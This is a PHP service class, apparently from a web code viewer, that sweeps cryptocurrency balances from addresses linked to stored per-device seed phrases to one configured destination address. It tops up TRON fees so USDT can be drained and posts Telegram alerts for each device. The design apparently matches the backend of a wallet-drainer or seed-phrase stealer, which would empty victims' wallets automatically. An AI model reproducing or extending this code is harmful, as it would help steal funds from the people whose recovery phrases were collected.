619 lines
23 KiB
PHP
619 lines
23 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\TransferRecord;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\Chain\ChainDriver;
|
|
use App\Services\Chain\ChainManager;
|
|
use RuntimeException;
|
|
|
|
class TransferService
|
|
{
|
|
public function __construct(
|
|
private readonly ChainManager $chains,
|
|
private readonly AutoTransferConfig $autoConfig,
|
|
private readonly TelegramNotifier $telegram,
|
|
) {}
|
|
|
|
/**
|
|
* Sweep from a known device address to the configured TRANSFER_TO_ADDRESS_*.
|
|
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
|
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
|
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
|
*
|
|
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
|
*/
|
|
public function handle(
|
|
string $chain,
|
|
string $fromAddress,
|
|
?string $amount = null,
|
|
string $asset = 'USDT',
|
|
?string $operator = null,
|
|
): array {
|
|
$chain = strtolower(trim($chain));
|
|
$asset = strtoupper(trim($asset));
|
|
// Native BNB and later BEP20 USDT settlement both happen on BSC.
|
|
if ($asset === 'BNB') {
|
|
$chain = 'bsc';
|
|
}
|
|
$record = [
|
|
'from_address' => $fromAddress,
|
|
'to_address' => null,
|
|
'chain' => $chain,
|
|
'tx_hash' => null,
|
|
'amount' => $amount === null || trim($amount) === '' ? null : trim($amount),
|
|
'type' => TransferRecord::TYPE_OUT,
|
|
'asset' => strtoupper(trim($asset)),
|
|
'operator' => $operator,
|
|
'status' => TransferRecord::STATUS_FAILED,
|
|
'error' => null,
|
|
];
|
|
|
|
try {
|
|
$to = $this->toAddress($chain);
|
|
if ($to === '') {
|
|
return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]);
|
|
}
|
|
$record['to_address'] = $to;
|
|
|
|
$asset = strtoupper(trim($asset));
|
|
$record['asset'] = $asset;
|
|
|
|
create_log([
|
|
'event' => 'transfer_start',
|
|
'chain' => $chain,
|
|
'asset' => $asset,
|
|
'from' => $fromAddress,
|
|
'to' => $to,
|
|
'amount' => $record['amount'],
|
|
'operator' => $operator,
|
|
], 'transfer');
|
|
|
|
$driver = $this->chains->resolve($chain);
|
|
|
|
if (! $driver->isValidAddress($fromAddress)) {
|
|
return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']);
|
|
}
|
|
if (! $driver->isValidAddress($to)) {
|
|
return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']);
|
|
}
|
|
|
|
$amount = $amount === null ? null : trim($amount);
|
|
if ($amount === '') {
|
|
$amount = null;
|
|
}
|
|
|
|
if ($amount === null) {
|
|
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain);
|
|
}
|
|
$record['amount'] = $amount;
|
|
|
|
$this->assertAmountWithinLimit($amount, $asset, $chain);
|
|
|
|
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
|
if ($resolved === null) {
|
|
return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']);
|
|
}
|
|
|
|
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
|
|
|
// Energy/bandwidth fee: only TRON USDT (TRC20) needs a TRX buffer.
|
|
if ($asset === 'USDT' && in_array($chain, ['tron', 'trx'], true)) {
|
|
$this->ensureTronFeeTopup($driver, $fromAddress, $operator);
|
|
}
|
|
|
|
$txid = match ($asset) {
|
|
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
|
'USDT' => $driver->sendToken(
|
|
$mnemonic,
|
|
$index,
|
|
$to,
|
|
$amount,
|
|
$this->usdtContract($chain),
|
|
),
|
|
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
|
};
|
|
|
|
$record['tx_hash'] = $txid;
|
|
$record['status'] = TransferRecord::STATUS_SUCCESS;
|
|
|
|
return $this->finish($record, [
|
|
'ok' => true,
|
|
'txid' => $txid,
|
|
'from' => $fromAddress,
|
|
'to' => $to,
|
|
'amount' => $amount,
|
|
'asset' => $asset,
|
|
]);
|
|
} catch (\Throwable $e) {
|
|
$record['error'] = $e->getMessage();
|
|
|
|
return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* TRON USDT only: if fromAddress TRX < fee_topup_trx target, top up the shortfall from the fee wallet.
|
|
* Example: balance 5, target 20 → send 15 TRX.
|
|
*/
|
|
private function ensureTronFeeTopup(ChainDriver $driver, string $fromAddress, ?string $operator): void
|
|
{
|
|
if (! $driver instanceof \App\Services\Chain\TronDriver) {
|
|
return;
|
|
}
|
|
|
|
$target = $this->autoConfig->feeTopupTrx();
|
|
$trx = $driver->getNativeBalance($fromAddress);
|
|
if (bccomp($trx, $target, 6) >= 0) {
|
|
create_log([
|
|
'event' => 'tron_fee_topup_skip',
|
|
'reason' => 'balance_sufficient',
|
|
'from' => $fromAddress,
|
|
'trx' => $trx,
|
|
'target' => $target,
|
|
'operator' => $operator,
|
|
], 'transfer');
|
|
|
|
return;
|
|
}
|
|
|
|
$amount = bcsub($target, $trx, 6);
|
|
$amount = rtrim(rtrim($amount, '0'), '.');
|
|
if ($amount === '' || str_starts_with($amount, '-') || bccomp($amount, '0', 6) <= 0) {
|
|
return;
|
|
}
|
|
|
|
$feeAddress = $this->autoConfig->feeAddressTron();
|
|
$feeKey = $this->autoConfig->feePrivateKeyTron();
|
|
if ($feeAddress === '' || $feeKey === '') {
|
|
create_log([
|
|
'event' => 'tron_fee_topup_failed',
|
|
'error' => 'fee wallet not configured',
|
|
'from' => $fromAddress,
|
|
'trx' => $trx,
|
|
'target' => $target,
|
|
'operator' => $operator,
|
|
], 'transfer');
|
|
throw new RuntimeException('TRON fee top-up wallet is not configured (address/private key)');
|
|
}
|
|
if (! $driver->isValidAddress($feeAddress)) {
|
|
throw new RuntimeException('Invalid TRON fee top-up address');
|
|
}
|
|
|
|
try {
|
|
$derived = \App\Services\Chain\TronDriver::addressFromPrivateKey($feeKey);
|
|
if (strcasecmp($derived, $feeAddress) !== 0) {
|
|
throw new RuntimeException('TRON fee private key does not match fee address');
|
|
}
|
|
} catch (RuntimeException $e) {
|
|
throw $e;
|
|
} catch (\Throwable $e) {
|
|
throw new RuntimeException('Invalid TRON fee private key: '.$e->getMessage());
|
|
}
|
|
|
|
create_log([
|
|
'event' => 'tron_fee_topup_start',
|
|
'fee_from' => $feeAddress,
|
|
'to' => $fromAddress,
|
|
'amount' => $amount,
|
|
'trx_before' => $trx,
|
|
'target' => $target,
|
|
'operator' => $operator,
|
|
], 'transfer');
|
|
|
|
$topupRecord = [
|
|
'from_address' => $feeAddress,
|
|
'to_address' => $fromAddress,
|
|
'chain' => 'tron',
|
|
'tx_hash' => null,
|
|
'amount' => $amount,
|
|
'type' => TransferRecord::TYPE_OUT,
|
|
'asset' => 'TRX',
|
|
'operator' => 'fee-topup'.($operator ? ':'.$operator : ''),
|
|
'status' => TransferRecord::STATUS_FAILED,
|
|
'error' => null,
|
|
];
|
|
|
|
try {
|
|
$txid = $driver->sendNativeWithPrivateKey($feeKey, $feeAddress, $fromAddress, $amount);
|
|
$topupRecord['tx_hash'] = $txid;
|
|
$topupRecord['status'] = TransferRecord::STATUS_SUCCESS;
|
|
$this->finish($topupRecord, [
|
|
'ok' => true,
|
|
'txid' => $txid,
|
|
'from' => $feeAddress,
|
|
'to' => $fromAddress,
|
|
'amount' => $amount,
|
|
'asset' => 'TRX',
|
|
]);
|
|
create_log([
|
|
'event' => 'tron_fee_topup_success',
|
|
'fee_from' => $feeAddress,
|
|
'to' => $fromAddress,
|
|
'amount' => $amount,
|
|
'txid' => $txid,
|
|
'operator' => $operator,
|
|
], 'transfer');
|
|
$this->notifyFeeTopupTelegram(
|
|
feeFrom: $feeAddress,
|
|
toAddress: $fromAddress,
|
|
ok: true,
|
|
amount: $amount,
|
|
txid: $txid,
|
|
);
|
|
} catch (\Throwable $e) {
|
|
$topupRecord['error'] = $e->getMessage();
|
|
$this->finish($topupRecord, ['ok' => false, 'error' => $e->getMessage()]);
|
|
create_log([
|
|
'event' => 'tron_fee_topup_failed',
|
|
'fee_from' => $feeAddress,
|
|
'to' => $fromAddress,
|
|
'amount' => $amount,
|
|
'error' => $e->getMessage(),
|
|
'operator' => $operator,
|
|
], 'transfer');
|
|
$this->notifyFeeTopupTelegram(
|
|
feeFrom: $feeAddress,
|
|
toAddress: $fromAddress,
|
|
ok: false,
|
|
amount: $amount,
|
|
error: $e->getMessage(),
|
|
);
|
|
throw new RuntimeException('TRON fee top-up failed: '.$e->getMessage());
|
|
}
|
|
|
|
$deadline = microtime(true) + 45;
|
|
do {
|
|
if (! app()->runningUnitTests()) {
|
|
usleep(1_500_000);
|
|
}
|
|
$trx = $driver->getNativeBalance($fromAddress);
|
|
if (bccomp($trx, $target, 6) >= 0) {
|
|
return;
|
|
}
|
|
} while (microtime(true) < $deadline);
|
|
|
|
create_log([
|
|
'event' => 'tron_fee_topup_confirm_timeout',
|
|
'to' => $fromAddress,
|
|
'trx_after' => $trx,
|
|
'target' => $target,
|
|
'operator' => $operator,
|
|
], 'transfer');
|
|
throw new RuntimeException('TRON fee top-up sent but balance still below '.$target);
|
|
}
|
|
|
|
/**
|
|
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
|
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
|
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
|
*/
|
|
private function finish(array $record, array $result): array
|
|
{
|
|
if (! ($result['ok'] ?? false)) {
|
|
$record['status'] = TransferRecord::STATUS_FAILED;
|
|
$record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed');
|
|
}
|
|
|
|
try {
|
|
TransferRecord::query()->create([
|
|
'from_address' => (string) ($record['from_address'] ?? ''),
|
|
'to_address' => $record['to_address'],
|
|
'chain' => (string) ($record['chain'] ?? ''),
|
|
'tx_hash' => $record['tx_hash'],
|
|
'amount' => $record['amount'],
|
|
'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT),
|
|
'asset' => (string) ($record['asset'] ?? ''),
|
|
'operator' => $record['operator'],
|
|
'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED),
|
|
'error' => $record['error'],
|
|
]);
|
|
} catch (\Throwable) {
|
|
// never break transfer for persistence failures
|
|
}
|
|
|
|
create_log([
|
|
'event' => 'transfer',
|
|
'ok' => (bool) ($result['ok'] ?? false),
|
|
'from' => $record['from_address'],
|
|
'to' => $record['to_address'],
|
|
'chain' => $record['chain'],
|
|
'tx_hash' => $record['tx_hash'],
|
|
'amount' => $record['amount'],
|
|
'type' => $record['type'],
|
|
'asset' => $record['asset'],
|
|
'operator' => $record['operator'],
|
|
'status' => $record['status'],
|
|
'error' => $record['error'],
|
|
], 'transfer');
|
|
|
|
$this->notifyTransferTelegram($record, $result);
|
|
|
|
return $result;
|
|
}
|
|
|
|
/**
|
|
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
|
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
|
*/
|
|
private function notifyTransferTelegram(array $record, array $result): void
|
|
{
|
|
$operator = (string) ($record['operator'] ?? '');
|
|
if (str_starts_with($operator, 'fee-topup')) {
|
|
return;
|
|
}
|
|
|
|
$from = (string) ($record['from_address'] ?? '');
|
|
$deviceKey = $this->deviceKeyForAddress($from);
|
|
if ($deviceKey === '') {
|
|
return;
|
|
}
|
|
|
|
try {
|
|
$this->telegram->notifyAutoTransfer(
|
|
$deviceKey,
|
|
$from,
|
|
(string) ($record['chain'] ?? ''),
|
|
(string) ($record['asset'] ?? ''),
|
|
(bool) ($result['ok'] ?? false),
|
|
isset($record['amount']) ? (string) $record['amount'] : null,
|
|
isset($record['to_address']) ? (string) $record['to_address'] : null,
|
|
isset($record['tx_hash']) ? (string) $record['tx_hash'] : null,
|
|
isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null),
|
|
$operator !== '' ? $operator : null,
|
|
);
|
|
} catch (\Throwable) {
|
|
// never break transfer for telegram
|
|
}
|
|
}
|
|
|
|
private function notifyFeeTopupTelegram(
|
|
string $feeFrom,
|
|
string $toAddress,
|
|
bool $ok,
|
|
?string $amount = null,
|
|
?string $txid = null,
|
|
?string $error = null,
|
|
): void {
|
|
$deviceKey = $this->deviceKeyForAddress($toAddress);
|
|
if ($deviceKey === '') {
|
|
return;
|
|
}
|
|
|
|
try {
|
|
$this->telegram->notifyFeeTopup(
|
|
$deviceKey,
|
|
$feeFrom,
|
|
$toAddress,
|
|
$ok,
|
|
$amount,
|
|
$txid,
|
|
$error,
|
|
);
|
|
} catch (\Throwable) {
|
|
// never break transfer for telegram
|
|
}
|
|
}
|
|
|
|
private function deviceKeyForAddress(string $address): string
|
|
{
|
|
$address = trim($address);
|
|
if ($address === '') {
|
|
return '';
|
|
}
|
|
|
|
try {
|
|
$devicePk = WalletAddress::query()->where('address', $address)->value('device_id');
|
|
if ($devicePk === null) {
|
|
return '';
|
|
}
|
|
|
|
return (string) (\App\Models\Device::query()->whereKey($devicePk)->value('device_id') ?: '');
|
|
} catch (\Throwable) {
|
|
return '';
|
|
}
|
|
}
|
|
|
|
private function toAddress(string $chain): string
|
|
{
|
|
return match ($chain) {
|
|
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
|
|
'bsc', 'bnb', 'binance' => $this->bscToAddress(),
|
|
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
|
|
'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')),
|
|
default => trim((string) config('coruna.transfer.to_address', '')),
|
|
};
|
|
}
|
|
|
|
private function missingToAddressError(string $chain): string
|
|
{
|
|
return match ($chain) {
|
|
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
|
|
'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured',
|
|
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
|
|
'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
|
|
default => 'TRANSFER_TO_ADDRESS is not configured',
|
|
};
|
|
}
|
|
|
|
private function usdtContract(string $chain): string
|
|
{
|
|
$contract = match ($chain) {
|
|
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
|
|
'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')),
|
|
default => trim((string) config('coruna.tron.usdt_contract', '')),
|
|
};
|
|
if ($contract === '') {
|
|
throw new RuntimeException('USDT contract is not configured for '.$chain);
|
|
}
|
|
|
|
return $contract;
|
|
}
|
|
|
|
private function bscToAddress(): string
|
|
{
|
|
$bsc = trim((string) config('coruna.transfer.to_address_bsc', ''));
|
|
if ($bsc !== '') {
|
|
return $bsc;
|
|
}
|
|
|
|
return trim((string) config('coruna.transfer.to_address_eth', ''));
|
|
}
|
|
|
|
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
|
{
|
|
$balance = match ($asset) {
|
|
'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress),
|
|
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
|
};
|
|
|
|
$reserveKey = match ($asset) {
|
|
'TRX' => 'coruna.transfer.trx_fee_reserve',
|
|
'ETH' => 'coruna.transfer.eth_fee_reserve',
|
|
'BNB' => 'coruna.transfer.bnb_fee_reserve',
|
|
'BTC' => 'coruna.transfer.btc_fee_reserve',
|
|
default => null,
|
|
};
|
|
$scale = $this->assetDecimals($asset, $chain);
|
|
|
|
if ($reserveKey !== null) {
|
|
$reserve = (string) config($reserveKey, '0');
|
|
if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) {
|
|
$balance = bcsub($balance, $reserve, $scale);
|
|
$balance = rtrim(rtrim($balance, '0'), '.');
|
|
if ($balance === '' || str_starts_with($balance, '-')) {
|
|
$balance = '0';
|
|
}
|
|
}
|
|
}
|
|
|
|
if (bccomp($balance, '0', $scale) <= 0) {
|
|
throw new RuntimeException("No transferable {$asset} balance");
|
|
}
|
|
|
|
return $balance;
|
|
}
|
|
|
|
/**
|
|
* @return array{mnemonic: string, index: int}|null
|
|
*/
|
|
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
|
|
{
|
|
$addressRows = WalletAddress::query()
|
|
->where('address', $fromAddress)
|
|
->orderBy('id')
|
|
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
|
|
|
|
// ETH addresses are often stored with mixed-case checksum.
|
|
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
|
|
$addressRows = WalletAddress::query()
|
|
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
|
|
->orderBy('id')
|
|
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
|
|
}
|
|
|
|
if ($addressRows->isEmpty()) {
|
|
return null;
|
|
}
|
|
|
|
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
|
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
|
|
|
|
foreach ($addressRows as $row) {
|
|
if ($row->mnemonic_id !== null) {
|
|
$linked = WalletMnemonic::query()->find($row->mnemonic_id);
|
|
$phrase = $linked?->mnemonic;
|
|
if ($phrase !== null && trim($phrase) !== '') {
|
|
if ($row->derive_index !== null) {
|
|
return ['mnemonic' => $phrase, 'index' => (int) $row->derive_index];
|
|
}
|
|
for ($index = 0; $index <= MnemonicAddressLinker::MAX_DERIVE_INDEX; $index++) {
|
|
try {
|
|
$derived = $driver->deriveAddress($phrase, $index);
|
|
$match = $caseInsensitive
|
|
? strcasecmp($derived, $fromAddress) === 0
|
|
: $derived === $fromAddress;
|
|
if ($match) {
|
|
return ['mnemonic' => $phrase, 'index' => $index];
|
|
}
|
|
} catch (\Throwable) {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
$mnemonics = WalletMnemonic::query()
|
|
->where('device_id', $row->device_id)
|
|
->where(function ($q) use ($row) {
|
|
if ($row->source === null || $row->source === '') {
|
|
$q->whereNull('source')->orWhere('source', '');
|
|
} else {
|
|
$q->where('source', $row->source);
|
|
}
|
|
})
|
|
->orderBy('id')
|
|
->get();
|
|
|
|
foreach ($mnemonics as $mnemonicRow) {
|
|
$phrase = $mnemonicRow->mnemonic;
|
|
if ($phrase === null || trim($phrase) === '') {
|
|
continue;
|
|
}
|
|
for ($index = 0; $index <= $maxIndex; $index++) {
|
|
try {
|
|
$derived = $driver->deriveAddress($phrase, $index);
|
|
$match = $caseInsensitive
|
|
? strcasecmp($derived, $fromAddress) === 0
|
|
: $derived === $fromAddress;
|
|
if ($match) {
|
|
return ['mnemonic' => $phrase, 'index' => $index];
|
|
}
|
|
} catch (\Throwable) {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function assetDecimals(string $asset, string $chain): int
|
|
{
|
|
if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) {
|
|
return max(1, (int) config('coruna.bsc.usdt_decimals', 18));
|
|
}
|
|
|
|
return match ($asset) {
|
|
'ETH', 'BNB' => 18,
|
|
'BTC' => 8,
|
|
default => 6,
|
|
};
|
|
}
|
|
|
|
private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void
|
|
{
|
|
$decimals = $this->assetDecimals($asset, $chain);
|
|
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
|
|
throw new RuntimeException('Invalid amount');
|
|
}
|
|
|
|
$maxKey = match ($asset) {
|
|
'TRX' => 'coruna.transfer.max_trx',
|
|
'ETH' => 'coruna.transfer.max_eth',
|
|
'BTC' => 'coruna.transfer.max_btc',
|
|
'BNB' => 'coruna.transfer.max_bnb',
|
|
default => 'coruna.transfer.max_usdt',
|
|
};
|
|
$max = (string) config($maxKey, '0');
|
|
if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) {
|
|
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
|
|
}
|
|
}
|
|
}
|